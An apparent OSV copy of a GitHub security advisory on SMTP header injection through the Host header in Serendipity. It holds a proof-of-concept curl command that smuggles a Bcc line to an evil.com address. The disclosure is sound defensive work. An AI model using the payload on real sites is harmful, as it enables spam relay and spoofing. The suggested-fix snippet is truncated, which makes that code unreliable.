GHSA-458g-q4fh-mj6r

Suggest an improvement
Source
https://github.com/advisories/GHSA-458g-q4fh-mj6r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-458g-q4fh-mj6r/GHSA-458g-q4fh-mj6r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-458g-q4fh-mj6r
Aliases
Published
2026-04-14T22:32:38Z
Modified
2026-05-05T16:00:57Z
Severity
  • 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N CVSS Calculator
Summary
Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header
Details

Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

$maildata['headers'][] = 'Message-ID: <' 
    . bin2hex(random_bytes(16)) 
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false 
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

  • New comment notifications to blog owner
  • Comment subscription notifications to subscribers
  • Password reset emails (if configured)

PoC

# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables:

  • Identity spoofing — emails appear to originate from attacker-controlled domain
  • Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
  • Email reputation abuse — attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', 
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';
Database specific
{
    "cwe_ids":  [
        "CWE-113"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-14T22:32:38Z",
    "nvd_published_at":  "2026-04-15T04:17:39Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / s9y/serendipity

Package

Name
s9y/serendipity
Purl
pkg:composer/s9y/serendipity

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.6.0

Affected versions

2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.1-beta1
2.1-beta2
2.1-beta3
2.1-rc1
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.2.1-alpha1
2.3-beta1
2.3-rc1
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.3.5
2.4-beta1
2.4.0
2.5-beta1
2.5.0
2.6-beta1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-458g-q4fh-mj6r/GHSA-458g-q4fh-mj6r.json"